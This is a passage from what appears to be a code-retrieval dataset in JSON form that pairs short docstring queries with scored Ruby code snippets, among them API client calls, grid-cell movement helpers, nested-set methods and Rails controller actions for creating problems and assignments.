"text": "def read_dhcp_server_with_http_info(server_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ManagementPlaneApiServicesDhcpApi.read_dhcp_server ...'\n end\n # verify the required parameter 'server_id' is set\n if @api_client.config.client_side_validation && server_id.nil?\n fail ArgumentError, \"Missing the required parameter 'server_id' when calling ManagementPlaneApiServicesDhcpApi.read_dhcp_server\"\n end\n # resource path\n local_var_path = '/dhcp/servers/{server-id}'.sub('{' + 'server-id' + '}', server_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'LogicalDhcpServer')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ManagementPlaneApiServicesDhcpApi#read_dhcp_server\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "701f7d8a1b96790d493b68e35453c152",
"score": "0.4184391",
"text": "def _lease_server(options)\n options[:ignore_closed_registry] ||= false\n \n begin \n # Get the server from the TS\n _, generation, uri = @tuplespace.take(['available', options[:generation], nil], options[:timeout])\n # Get the DRb object for it\n @servers[uri] ||= ServerWrapper.new(uri)\n # Check that the server is still up; the following call will throw if it is down\n @servers[uri].alive?\n # Note that we've leased this server\n @tuplespace.write(['leased', @client_id, generation, uri])\n # Return it\n @servers[uri] #.server \n rescue ServerOffline => e\n @servers[uri] = nil\n raise \n rescue Rinda::RequestExpiredError => e\n fail_unless_registry_open! if !options[:ignore_closed_registry]\n end\n end",
"title": ""
},
{
"docid": "6485cd6887e7a0d7c408ce782194b168",
"score": "0.41765139",
"text": "def list_dhcp_ip_pools(server_id, opts = {})\n data, _status_code, _headers = list_dhcp_ip_pools_with_http_info(server_id, opts)\n return data\n end",
"title": ""
},
{
"docid": "6485cd6887e7a0d7c408ce782194b168",
"score": "0.4173795",
"text": "def list_dhcp_ip_pools(server_id, opts = {})\n data, _status_code, _headers = list_dhcp_ip_pools_with_http_info(server_id, opts)\n return data\n end",
"title": ""
},
{
"docid": "c2d8d451f9b32039726e47fa5a60b5f2",
"score": "0.41703945",
"text": "def laps(options = {})\n if @laps.nil?\n @laps = @node.xpath('Lap').map {|node| Lap.create(node, self)}\n end\n\n ret = @laps\n\n # Other options can be passed on to the lap itself\n options.each_pair do |key, value|\n ret = ret.select {|lap|\n lap.send(key) == value\n }\n end\n ret\n end",
"title": ""
},
{
"docid": "b82a445374f57dbe8b8ffb5f3796d7db",
"score": "0.41670078",
"text": "def leads\n @leads ||= LeadsService.new(@http_client)\n end",
"title": ""
},
{
"docid": "5bca0e823a826785e6cad4629c91e59f",
"score": "0.41602704",
"text": "def get_storage_hitachi_host_lun_by_moid(moid, opts = {})\n data, _status_code, _headers = get_storage_hitachi_host_lun_by_moid_with_http_info(moid, opts)\n data\n end",
"title": ""
},
{
"docid": "c68701a8fc81f6239e2393232e212c8c",
"score": "0.4159707",
"text": "def current_leases()\n sql = 'SELECT * FROM leases\n WHERE customer_id = $1\n AND returned = FALSE\n ORDER BY end_date ASC'\n values = [@id]\n stock_item_hashes = SqlRunner.run(sql, values)\n return Lease.map_hashes(stock_item_hashes)\n end",
"title": ""
}
] |
3422ae8b4489910f5ca3bbd70118a427 | Returns the Cell to the right of the edge. | [
{
"docid": "d9c0d95b0c8cb31d82c3f75bf6468d98",
"score": "0.5892091",
"text": "def rh_cell\n v1.cells[clockwise_directions.index(direction)]\n end",
"title": ""
}
] | [
{
"docid": "8710dbc6549ecd2b9970ece1eb451d15",
"score": "0.72963935",
"text": "def right_cell(cell)\n get_next_cell(cell) { | cell | Coordinates.new(cell.col+1, cell.row)}\n end",
"title": ""
},
{
"docid": "2e5747431e018b30fe50d919cdf4d54d",
"score": "0.7207825",
"text": "def right\n @ole.Right\n end",
"title": ""
},
{
"docid": "2e5747431e018b30fe50d919cdf4d54d",
"score": "0.7207825",
"text": "def right\n @ole.Right\n end",
"title": ""
},
{
"docid": "1aa673e27a3229f32e948c1679048df1",
"score": "0.7148042",
"text": "def right_edge\n x = width-1\n @image.get(x,0,x,height).pixels\n end",
"title": ""
},
{
"docid": "ca0f049d0afdad83f6094b4a5daf701d",
"score": "0.7045462",
"text": "def right()\n return @left + @width\n end",
"title": ""
},
{
"docid": "f604e25169442e815dda38f60255b285",
"score": "0.6991004",
"text": "def right\n return @right\n end",
"title": ""
},
{
"docid": "bfcaacec0751e6c9132d453ab1eee3cd",
"score": "0.68865275",
"text": "def border_right()\n return get_border(:right)\n end",
"title": ""
},
{
"docid": "fb06fc853ef701fa706d8f8d28868e64",
"score": "0.6752424",
"text": "def right\n cursor.right\n\n refresh\n end",
"title": ""
},
{
"docid": "7cda35ee988ef2c552b78148dd0c8ab0",
"score": "0.6708111",
"text": "def right\n self[self.nested_set_options[:right_column]] || 0\n end",
"title": ""
},
{
"docid": "333c106bb647743698bc16d313d66c12",
"score": "0.67018574",
"text": "def move_right\n right_tile = C[@location.first, @location.second + 1]\n move_to(right_tile)\n end",
"title": ""
},
{
"docid": "b6eaebe261971a0ae1f1929ea0fd6205",
"score": "0.66880095",
"text": "def topright; return self.right, self[1]; end",
"title": ""
},
{
"docid": "771bbcec400010f4d000f832acff774b",
"score": "0.65812314",
"text": "def move_right\n right_tile = Couple.new(@location.first, @location.second + 1)\n move_to(right_tile)\n end",
"title": ""
},
{
"docid": "8b5144349d4d87bbba95e8b773ab3bc6",
"score": "0.65457845",
"text": "def right\n row, col = @position\n return [row, col + 1] unless col + 1 > 7\n []\n end",
"title": ""
},
{
"docid": "365097822ad18c1a3e33bd8ccad3c068",
"score": "0.6459244",
"text": "def turn_right\n new_row_diff = @col_diff + 0\n new_col_diff = 0 - @row_diff\n @row_diff = new_row_diff\n @col_diff = new_col_diff\n end",
"title": ""
},
{
"docid": "21a0769231f3f38e100e14e68563aee6",
"score": "0.6428778",
"text": "def neighRight(cur_row,cur_col)\n if cur_col == @num_columns - 1\n return 0\n else\n neighbor_cell = getCell(cur_row,cur_col+1)\n if(neighbor_cell.living == true)\n return 1\n else\n return 0\n end\n end # end if statement\n end",
"title": ""
},
{
"docid": "fedbf7f1f08e9fb34a22a81f216dc44f",
"score": "0.64239657",
"text": "def right\n index = FACES.find_index(@face)\n if index < MAX_RIGHT\n @face = FACES[index+1]\n else\n @face = FACES[0]\n end\n end",
"title": ""
},
{
"docid": "fa35b5a3892a90a4687eb57e3716e15f",
"score": "0.6416982",
"text": "def right_cell_x_at(x); (x + WIDTH - 1) / WIDTH; end",
"title": ""
},
{
"docid": "7899d433f2cab9c133affbb289daaa79",
"score": "0.6387633",
"text": "def move_to_right_of(node)\n self.move_to node, :right\n end",
"title": ""
},
{
"docid": "83255d09f36643d59ca05097cc41285e",
"score": "0.6380861",
"text": "def move_to_right_of(node)\n move_to node, :right\n end",
"title": ""
},
{
"docid": "83255d09f36643d59ca05097cc41285e",
"score": "0.6380861",
"text": "def move_to_right_of(node)\n move_to node, :right\n end",
"title": ""
},
{
"docid": "83255d09f36643d59ca05097cc41285e",
"score": "0.6380861",
"text": "def move_to_right_of(node)\n move_to node, :right\n end",
"title": ""
},
{
"docid": "71f84c2dae179ab3b3b59e1509917b81",
"score": "0.6376913",
"text": "def right\n `#{clientRect}.right` + Window.scrollX\n end",
"title": ""
},
{
"docid": "61665457b94d08ccf6c988cff64d3927",
"score": "0.63684267",
"text": "def move_to_right_of(node)\n self.move_to(node, :right)\n end",
"title": ""
},
{
"docid": "634efec2814750d50dd5255fbebd5da3",
"score": "0.63659257",
"text": "def right\n direction.move_right!\n end",
"title": ""
},
{
"docid": "94c512c3a504e6aa3ecfb66d90cd1fdf",
"score": "0.6358276",
"text": "def move_to_right_of(node)\n self.move_to node, :right\n end",
"title": ""
},
{
"docid": "83b72b1d19460c83316e49cc06394967",
"score": "0.63495064",
"text": "def right\n Point.new(@x + 1, @y)\n end",
"title": ""
},
{
"docid": "83b72b1d19460c83316e49cc06394967",
"score": "0.63495064",
"text": "def right\n Point.new(@x + 1, @y)\n end",
"title": ""
},
{
"docid": "cd1dba2df4a6f9cdd86115831eb78130",
"score": "0.6309423",
"text": "def right_col offset, &block\n bounding_box(\n [bounds.right-right_width, bounds.top - offset], :width => right_width\n ) do\n yield\n end\n end",
"title": ""
},
{
"docid": "11e9d79eb500e7eea1a324a19392193e",
"score": "0.6303959",
"text": "def col_right\n if @col_right.nil?\n @col_right = container.div(:class, 'a-col-right')\n end\n\n @col_right\n end",
"title": ""
},
{
"docid": "7d0d13e986bf36c5cb0166860b4d529b",
"score": "0.6270729",
"text": "def draw_right_column(node)\n node = Node.new(EMPTY_CELL, node) unless left_column_drawn?\n end_line_with(node)\n end",
"title": ""
},
{
"docid": "2ec88383194bc7c911a3ba0e2b37cac5",
"score": "0.62656844",
"text": "def right\n @widget.margins.right + @widget.borders.right\n end",
"title": ""
},
{
"docid": "5f712524a89cb1b711bd93dedb904ae1",
"score": "0.62431186",
"text": "def right; return self[0]+self[2]; end",
"title": ""
},
{
"docid": "884d840036cc62010e572237f8b72ad0",
"score": "0.62169313",
"text": "def top_right\n Point[x + width, y]\n end",
"title": ""
},
{
"docid": "38bb75d6f2889e6f4153435ef16732f9",
"score": "0.62052214",
"text": "def right(target = self)\n target[right_column_name]\n end",
"title": ""
},
{
"docid": "2a3b5e5d928ffc0480e36a52a750b522",
"score": "0.61574185",
"text": "def part_of_row_right(starting, ending)\n row(starting[1])[(starting[0] + 1)..(ending[0] - 1)]\n end",
"title": ""
},
{
"docid": "c380c5ef93f433e2166c9a9b5f60a4a8",
"score": "0.61570305",
"text": "def nodes_rightward\n LinkEnumerator.new :right, self, true\n end",
"title": ""
},
{
"docid": "dcfddc386ec1dcbb454bb22f7a0efe4d",
"score": "0.61373806",
"text": "def right\n :right\n end",
"title": ""
},
{
"docid": "13c4a6ad13fbb376c61b473ddf41fe53",
"score": "0.6122529",
"text": "def right=(value)\n @right = value\n end",
"title": ""
},
{
"docid": "04de52db90c083535319ff307aa87c74",
"score": "0.61165977",
"text": "def getRight\n return @x + 5\n end",
"title": ""
},
{
"docid": "f716b3e724ff75252ecdf4fe92ff7167",
"score": "0.6093439",
"text": "def left_cell(cell)\n get_next_cell(cell) { | cell | Coordinates.new(cell.col-1, cell.row)}\n end",
"title": ""
},
{
"docid": "d3b133a88998de56aed032ceb3e48b85",
"score": "0.6085183",
"text": "def right(value)\n @ole.Right = value\n nil\n end",
"title": ""
},
{
"docid": "d3b133a88998de56aed032ceb3e48b85",
"score": "0.6085183",
"text": "def right(value)\n @ole.Right = value\n nil\n end",
"title": ""
},
{
"docid": "f4329bede9823e566f3a7c01262b8ba3",
"score": "0.6084235",
"text": "def right\n self.y = (y+1)%10\n end",
"title": ""
},
{
"docid": "6a07d409f4555f327bcde18749bcc821",
"score": "0.6083065",
"text": "def racquetRight(racquet)\n\tif racquet + 2 != SCREEN_X-1 #If the rightermost part of the racket isn't in the right wall\n return racquet + 1 #return the current position but 1 to the right\n else \n return racquet\n end\nend",
"title": ""
},
{
"docid": "e5a62cbe496b562b461943f21ea403fa",
"score": "0.60798055",
"text": "def right\n value.rjust(width, options[:pad])\n end",
"title": ""
},
{
"docid": "921d92259ee9ae258a045bd4b47bb152",
"score": "0.605074",
"text": "def right\n send right_column_name\n end",
"title": ""
},
{
"docid": "95ad2d6bde43bd9c629be03c369fefb4",
"score": "0.6040478",
"text": "def right=(r)\r\n @x = r - @w\r\n end",
"title": ""
},
{
"docid": "bc5791dc995a32fc6badb898d0b18919",
"score": "0.6039831",
"text": "def align_right\n @horizontal_align = :right\n return self\n end",
"title": ""
},
{
"docid": "4c6b0bcf6143d0bcad90a21309176983",
"score": "0.6027398",
"text": "def right!(origin, stop)\n y = origin.column\n\n while y <= stop.column\n add_result extract!(IndexPath[origin.row, y])\n\n y += 1\n end\n\n # Begin moving down from the end of this row\n starts_at = IndexPath[stop.row + 1, stop.column]\n ends_at = IndexPath[max_rows - stop.row, stop.column]\n\n down!(starts_at, ends_at)\n end",
"title": ""
},
{
"docid": "58e169d0ccd9aacf88e0f91e5e8e51d6",
"score": "0.60140103",
"text": "def right()\n @view__.right\n end",
"title": ""
},
{
"docid": "1c466eba6613717ac5f3586b5ee3c934",
"score": "0.60011905",
"text": "def cursor_right(wrap = false)\n if col_max >= 2 && (index % col_max == col_max - 1)\n select(index + 1 - col_max)\n elsif col_max >= 2 && (index < item_max - 1 || (wrap && horizontal?))\n select((index + 1) % item_max)\n end\n end",
"title": ""
},
{
"docid": "1557804e5afdb8fa378e5fb769e909b4",
"score": "0.59962964",
"text": "def right\n rotate(1)\n end",
"title": ""
},
{
"docid": "10931b7711cab3d1717287262c3d59a8",
"score": "0.5984058",
"text": "def find_right_path(cell)\n find_path(cell) { | cell | right_cell(cell) }\n end",
"title": ""
},
{
"docid": "dee801ef40fcb2354f4dc4c9c8e2a9b5",
"score": "0.5983039",
"text": "def bottom_right\n @position + @dimensions\n end",
"title": ""
},
{
"docid": "af4ffad00d7e9e8782106cc6c0a80d97",
"score": "0.5968335",
"text": "def move_right(array)\r\n set_current_row_col(array)\r\n new_col = (@current_col == array.first.length - 1) ? 0 : @current_col + 1 # This logic will decide the new co-ordinated of space\r\n current_ele = array[@current_row][new_col]\r\n array[@current_row][new_col] = ' '\r\n replace_existing_element(array,current_ele, @current_row, @current_col)\r\n array\r\n end",
"title": ""
},
{
"docid": "04c2ec87409f15dc0272665dc2b73c6d",
"score": "0.5958116",
"text": "def right_edge?(row,col)\n\t\tpixels[row][col-1] == nil\n\tend",
"title": ""
},
{
"docid": "9f344a6204f4029866e290952d9f5ccf",
"score": "0.595001",
"text": "def diagonal_left_right\n func = lambda do |arr, mark|\n return mark if arr.all? { |el| el == mark } end\n\n left = []; len = @grid.length\n (0...len).each { |i| left << @grid[i][i] }\n\n right = []; len = @grid.length - 1\n (0...@grid.length).each { |i| right << @grid[i][len-i] }\n\n return :X if (func.call(left, :X) == :X) || (func.call(right, :X) == :X)\n return :O if (func.call(left, :O) == :O) || (func.call(right, :O) == :O)\n end",
"title": ""
},
{
"docid": "1da6dcde978a6f9dbd76b139d4d6abb0",
"score": "0.59479356",
"text": "def right=(r); self[0] = r - self[2]; return r; end",
"title": ""
},
{
"docid": "48bae66be0441e2d5fb862017afd6230",
"score": "0.59371096",
"text": "def rotate_right\n placed?\n @direction = case @direction\n when \"NORTH\" then \"EAST\"\n when \"EAST\" then \"SOUTH\"\n when \"SOUTH\" then \"WEST\"\n when \"WEST\" then \"NORTH\"\n end\n end",
"title": ""
},
{
"docid": "cb931e9963eb69ca2c7ae10c2c955499",
"score": "0.59208274",
"text": "def right=(value)\n self[self.nested_set_options[:right_column]] = value\n end",
"title": ""
},
{
"docid": "c0bab29254eef77a6f978a2a084ff6cf",
"score": "0.5916294",
"text": "def right\n @robot.right\n end",
"title": ""
},
{
"docid": "58b89f0e93eaefc5a27b3b694189e9d8",
"score": "0.5899778",
"text": "def right(args)\n return if !@is_robot_availabe\n #find its right elem\n @direction = DIRECTIONS[(DIRECTIONS.index(@direction) + 1) % 4]\n # return \"RIGHT\" #for test\n\n end",
"title": ""
},
{
"docid": "4e6fcc18bb1eae53b32a728f2cab860e",
"score": "0.589218",
"text": "def piece_right\n return unless @falling_piece\n\n @falling_piece.x += @block_size\n @falling_piece.grid_position.x += 1\n\n piece_left if collides?\n end",
"title": ""
},
{
"docid": "4cd2a4bc41d6865e97636ea080c7e2e1",
"score": "0.58532494",
"text": "def move_right\n @board.each(&:reverse!)\n action = move_left\n @board.each(&:reverse!)\n action\n end",
"title": ""
},
{
"docid": "9027471326a39e64661734205b38b63f",
"score": "0.5804095",
"text": "def rotate(right,down)\n Cell.new((@x + right) % @w,\n (@y + down) % @h,\n @w,\n @h)\n end",
"title": ""
},
{
"docid": "88c70293e1fb132ee4b8c8fee91d64fb",
"score": "0.5794175",
"text": "def right\n top, left = to_right(@top), to_right(@left)\n Cube.new(top, left)\n end",
"title": ""
},
{
"docid": "cdcd76f62c8bac1408258ed4c945ab96",
"score": "0.57850504",
"text": "def mid_borrows_from_right\n @mid.type, @mid.value1, @value2, @mid.mid = 2, @value2, @right.value1, @right.left\n @right.shift_left\n @right.type = 2\n end",
"title": ""
},
{
"docid": "4df2127b8f581b856218b50f53e55cd6",
"score": "0.5774862",
"text": "def right_child(index)\n right = index * 2 + 2\n if right >= @tree.length\n return INVALID_INDEX\n else\n return right\n end\n end",
"title": ""
},
{
"docid": "df6923984fce5354ab14bc62ad531c9b",
"score": "0.57512057",
"text": "def turnRight\n return EAST\n end",
"title": ""
},
{
"docid": "1d7843f7e28b74575c451845429732a5",
"score": "0.5740964",
"text": "def right(robot)\n extend Placed\n\n return robot unless placed? robot\n robot.f = Navigation::ALL[\n (Navigation::ALL.index(robot.f) + 1) % Navigation::ALL.size\n ]\n robot\n end",
"title": ""
},
{
"docid": "f35f12d7ca745cf5c04aea463f767048",
"score": "0.57382894",
"text": "def upper_right\n @upper_right ||= world.point(x_max, y_max)\n end",
"title": ""
},
{
"docid": "bf19baa5f6e432ba2693248c32cafab1",
"score": "0.57353306",
"text": "def wrap_right\n wrap_operand(operand.right)\n end",
"title": ""
},
{
"docid": "dd44b4122f3cd896b811ef2ae409c97e",
"score": "0.5732529",
"text": "def move_right\n\t\tmove([1,0])\n\tend",
"title": ""
},
{
"docid": "0d690bd6dfeec25b4f0907f0a450d234",
"score": "0.57318157",
"text": "def right!\n # TODO: Refactor. Can be less explicit\n case @facing\n when Direction::NORTH\n @facing = Direction::EAST\n when Direction::EAST\n @facing = Direction::SOUTH\n when Direction::SOUTH\n @facing = Direction::WEST\n when Direction::WEST\n @facing = Direction::NORTH\n else\n raise %q{Cannot rotate right}\n end\n end",
"title": ""
},
{
"docid": "a78d0183ae773b80519386f449a52570",
"score": "0.5731134",
"text": "def right_child\n # Returns right_child unless it's nil\n return @right_child unless @right_child.nil?\n\n # If passed the guard, right_child was not calculated yet, so generates it,\n # stores a ref and return the node\n @right_child = calculate_right_child\n @right_child\n end",
"title": ""
},
{
"docid": "3dd1bc5f1a1e974e0bb284b882c9b615",
"score": "0.57220405",
"text": "def robot_right\n state_execute do |robot|\n robot.right\n end\n end",
"title": ""
},
{
"docid": "d3d3b5016238b384575d559ffe75cc2a",
"score": "0.57204795",
"text": "def move_right(mat, y, x)\n return if (x + 1) > (mat.size - 1)\n\n zero_el = mat[y][x]\n other_el = mat[y][x + 1]\n mat[y][x + 1] = zero_el\n mat[y][x] = other_el\n\n { m: mat, zero: update_coordinates(zero_el, other_el), move: :right }\nend",
"title": ""
},
{
"docid": "438fd8e2048dddb92e386b57f78e43c6",
"score": "0.5708997",
"text": "def from_right; end",
"title": ""
},
{
"docid": "438fd8e2048dddb92e386b57f78e43c6",
"score": "0.5708997",
"text": "def from_right; end",
"title": ""
},
{
"docid": "e1c003cbeafc9985eb9ba3c57ff40e0c",
"score": "0.5701754",
"text": "def top_right\n row, col = @position\n return [row - 1, col + 1] unless row - 1 < 0 || col + 1 > 7\n []\n end",
"title": ""
},
{
"docid": "a207a22f8a2c993fb102b8eda46a9b71",
"score": "0.5701099",
"text": "def right_borrows_from_mid\n @right.type, @right.mid, @right.value1 = 2, @right.left, @value2\n if @mid.type == 3\n @right.left, @value2 = @mid.right, @mid.value2\n else\n @right.left, @value2 = @mid.mid, @mid.value1\n end\n @mid.type -= 1\n end",
"title": ""
},
{
"docid": "4f88da7eef6ade6e838008bac1bbf0e3",
"score": "0.56936115",
"text": "def turn_right\n case @direction\n when \"n\"\n then \"e\"\n when \"e\"\n then \"s\"\n when \"s\"\n then \"w\"\n when \"w\"\n then \"n\"\n end\n end",
"title": ""
},
{
"docid": "b14aa262c27c7918ce6a4ffe58415d5e",
"score": "0.56903",
"text": "def right\n @x_min + @y_min\n end",
"title": ""
},
{
"docid": "09c06ef9d9bd874526f8a4ea8daf1ac7",
"score": "0.56850636",
"text": "def rotate_right\n\t\t\troot = @left\n\t\t\troot = root.with_right(with_left(root.right))\n\t\t\troot.with_right(root.right.with_color(root.color)).with_color(root.right.color)\n\t\tend",
"title": ""
},
{
"docid": "11be43453644e43a04da98a429b81d8f",
"score": "0.5681428",
"text": "def move_right\n self.move_to_right_of(self.right_sibling)\n end",
"title": ""
},
{
"docid": "b56b6fde7a867372acedea8ae6f0884c",
"score": "0.56810635",
"text": "def rotate_right\n root = @left\n @left = root.right\n root.right = self\n root.right.update_height\n root\n end",
"title": ""
},
{
"docid": "90dc0645fab4e96e0ec4ab0da091329e",
"score": "0.56601095",
"text": "def rotate_right!\n new_pixels = []\n 0.upto(width - 1) { |i| new_pixels += column(i).reverse }\n replace_canvas!(height, width, new_pixels)\n end",
"title": ""
},
{
"docid": "87cbcfed2341f1a6bd10e3e71312a17b",
"score": "0.5653149",
"text": "def midright; return self.right, self.centery; end",
"title": ""
},
{
"docid": "e18094f85c61d3d31d2ae5a2f198ab28",
"score": "0.56458366",
"text": "def relative_left_cell\n return left_cell if @facing == 'up'\n return up_cell if @facing == 'right'\n return right_cell if @facing == 'down'\n return down_cell if @facing == 'left'\n end",
"title": ""
},
{
"docid": "61c6a0910d1bb0cba0c51ed48d3d8915",
"score": "0.5645199",
"text": "def nodes_except_self_rightward\n LinkEnumerator.new :right, self\n end",
"title": ""
},
{
"docid": "72a9d8b4ceb9cf8c9404449d1d44c13e",
"score": "0.564019",
"text": "def right; end",
"title": ""
},
{
"docid": "72a9d8b4ceb9cf8c9404449d1d44c13e",
"score": "0.564019",
"text": "def right; end",
"title": ""
},
{
"docid": "8edcbfcc885f2ed6576036a5ef27b267",
"score": "0.56060725",
"text": "def bottom_right\n row, col = @position\n return [row + 1, col + 1] unless row + 1 > 7 || col + 1 > 7\n []\n end",
"title": ""
},
{
"docid": "20bf8a23690555dd147741275b35fa0c",
"score": "0.5600722",
"text": "def move_right\n move_to_right_of right_sibling\n end",
"title": ""
},
{
"docid": "20bf8a23690555dd147741275b35fa0c",
"score": "0.5600722",
"text": "def move_right\n move_to_right_of right_sibling\n end",
"title": ""
},
{
"docid": "91de7de6d17121eee98cc398e7bad62b",
"score": "0.55872625",
"text": "def calculate_right_child\n # Guard condition for movement not possible\n return nil if blank_x - 1 < 0\n\n # Make the movement\n new_state = swap_right\n\n # Avoids loop\n parents_array = parent_states(3)\n return nil if parents_array.include?(new_state)\n\n # Returns new node\n Node.new(new_state, self, blank_x - 1, blank_y)\n end",
"title": ""
},
{
"docid": "73f77a9b3d87e49eb95d10d25619590f",
"score": "0.55856436",
"text": "def cell(col, row)\n return nil if out_of_bound?(row, 0, Grid::MaxRow - 1)\n return nil if out_of_bound?(col, 0, Grid::MaxCol - 1)\n return (Grid::MaxCol * row) + col\n end",
"title": ""
},
{
"docid": "383ab95bb546f01b4a1b8853d0aea56c",
"score": "0.5582784",
"text": "def set_default_left_and_right\n maxright = dataset.nested.max(self.class.qualified_right_column).to_i || 0\n # adds the new node to the right of all existing nodes\n self.left = maxright + 1\n self.right = maxright + 2\n end",
"title": ""
},
{
"docid": "92ce41e5ce7380818c272c5defc1c1d7",
"score": "0.5581523",
"text": "def set_right_neighbors(neighbor)\n @right = Array(neighbor)\n end",
"title": ""
},
{
"docid": "fc4212d5e8e1eb9ea8c479b64ddf4c12",
"score": "0.5578852",
"text": "def right\n options.fetch(:right, false)\n end",
"title": ""
}
] |
33876b728356e95f3674184ab60e5f72 | [Create Assignment Story 4.27] To create a new problem in an assignment. Parameters: problem_params[:id]: parameters that are needed to save a problem. Returns: A message if the problem is saved or not. Author: Nadine Adel | [
{
"docid": "ac7549a5bce3caae8817c610f7dea1b2",
"score": "0.7631648",
"text": "def create\n\t\t@assignment = Assignment.find_by_id(session[:assignment_id])\n\t\t@new_problem = AssignmentProblem.new\n\t\t@new_problem.title = problem_params[:title]\n\t\t@new_problem.description = problem_params[:description]\n\t\t@new_problem.final_grade = 0\n\t\t@new_problem.assignment_id = session[:assignment_id]\n\t\tsession[:problem_id] = @new_problem.id\n\t\tproblem_exist = AssignmentProblem.find_by(title: @new_problem.title,\n\t\t\tassignment_id: @new_problem.assignment_id)\n\t\tif lecturer_signed_in?\n\t\t\t@new_problem.owner_id = current_lecturer.id\n\t\t\t@new_problem.owner_type = \"lecturer\"\n\t\telsif teaching_assistant_signed_in?\n\t\t\t@new_problem.owner_id = current_teaching_assistant.id\n\t\t\t@new_problem.owner_type = \"teaching assistant\"\n\t\tend\n\t\tif problem_exist.nil?\n\t\t\tif @new_problem.save\n\t\t\t\tflash[:notices] = \"saved\"\n\t\t\t\tredirect_to :controller => 'assignment_testcases',\n\t\t\t\t\t:action => 'new', :assignment_id => @new_problem.id\n\t\t\telse\n\t\t\t\trender :action=>'new', :id => session[:assignment_id]\n\t\t\tend\n\t\telse\n\t\t\tflash[:duplicatedcreate] = \"problem already exists\"\n\t\t\tredirect_to :back\n\t\tend\n\tend",
"title": ""
}
] | [
{
"docid": "9a15e0e27b67fbfede19d1404e736889",
"score": "0.777339",
"text": "def add_problem\n @assignment = Assignment.find(params[:id])\n problem_id = problem_params[:problem]\n\n if @assignment.add_problem(problem_id)\n flash[:success] = 'Problem added successfully to assignment'\n else\n flash[:warning] = 'Invalid selection'\n end\n redirect_to edit_assignment_path(params[:id])\n end",
"title": ""
},
{
"docid": "574f07153ce440ee34c6c574558b1e45",
"score": "0.7441742",
"text": "def create\n\t\t@problem = Problem.new\n\t\t@problem.title = problem_params_add[:title]\n\t\t@problem.description = problem_params_add[:description]\n\t\t@problem.track_id = session[:track_id]\n\t\t@problem.snippet = problem_params_add[:snippet]\n\t\tif lecturer_signed_in?\n\t\t\t@problem.owner_id = current_lecturer.id\n\t\t\t@problem.owner_type = \"lecturer\"\n\t\telsif teaching_assistant_signed_in?\n\t\t\t@problem.owner_id = current_teaching_assistant.id\n\t\t\t@problem.owner_type = \"teaching assistant\"\n\t\tend\n\t\t@problem.incomplete = true\n\t\tbegin\n\t\t\tif @problem.save\n\t\t\t\tredirect_to :controller => \"test_cases\", :action => \"new\",\n\t\t\t\t\t:problem_id => @problem.id, :track_id => session[:track_id], :flag => \"0\"\n\t\t\telse\n\t\t\t\trender :action => 'new', :locals => {:track_id => session[:track_id]}\n\t\t\tend\n\t\trescue\n\t\t\trender :action => 'new', :locals => {:track_id => session[:track_id]}\n\t\tend\n\tend",
"title": ""
},
{
"docid": "b704132915a3323cc448f3f3ad4f1e62",
"score": "0.7341089",
"text": "def create\n @problem = Problem.new(params[:problem])\n\n respond_to do |format|\n if @problem.save\n format.html { redirect_to :problems, notice: 'Проблема успешно создана.' }\n else\n format.html { render action: 'new' }\n end\n end\n end",
"title": ""
},
{
"docid": "4700a1c1452cd37af7e1f30269cf2362",
"score": "0.72982395",
"text": "def create\n\t \n @problem = Problem.new(problem_params)\n\n respond_to do |format|\n if @problem.save\n format.html { redirect_to @problem, notice: 'Problem was successfully created.' }\n format.json { render :show, status: :created, location: @problem }\n else\n format.html { render :new }\n format.json { render json: @problem.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "74c8c4a364faca665bcdf9c458ef8221",
"score": "0.72779554",
"text": "def create\n @specific_problem = SpecificProblem.new(specific_problem_params)\n\n respond_to do |format|\n if @specific_problem.save\n format.html { redirect_to @specific_problem, notice: 'Specific problem was successfully created.' }\n format.json { render :show, status: :created, location: @specific_problem }\n else\n format.html { render :new }\n format.json { render json: @specific_problem.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a5ca3769f496293ec91ed414f5671fdf",
"score": "0.72190005",
"text": "def create\n @problem = Problem.new(problem_params)\n \n respond_to do |format|\n if @problem.save\n relate_with_courses\n # if params.include?(:courseid) and params[:courseid].size > 0\n # CourseProblemRelation.relate!(params[:courseid], @problem.id)\n # end\n format.html { redirect_to admin_problem_path(@problem), notice: 'Problem was successfully created.' }\n format.json { render :show, status: :created, location: @problem }\n else\n format.html { render :new }\n format.json { render json: @problem.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d0b2ce7369b9e5a34dcf289f8e822431",
"score": "0.721058",
"text": "def create\n @problem_test_case = ProblemTestCase.new(problem_test_case_params)\n @problem = Problem.find(problem_test_case_params[:problemid])\n\n respond_to do |format|\n if @problem_test_case.save\n format.html { redirect_to admin_problem_path(@problem), notice: 'Problem test case was successfully created.' }\n format.json { render :show, status: :created, location: @problem_test_case }\n else\n format.html { render :new }\n format.json { render json: @problem_test_case.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fd098e0bc44cd55459ec1d92dc4064c3",
"score": "0.72093743",
"text": "def create\n @problem = Problem.new(problem_params)\n\n respond_to do |format|\n if @problem.save\n format.html { redirect_to @problem, notice: 'Problem was successfully created.' }\n format.json { render :show, status: :created, location: @problem }\n else\n format.html { render :new }\n format.json { render json: @problem.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7259d9cf9c5868a501fd1457f0a1543d",
"score": "0.715977",
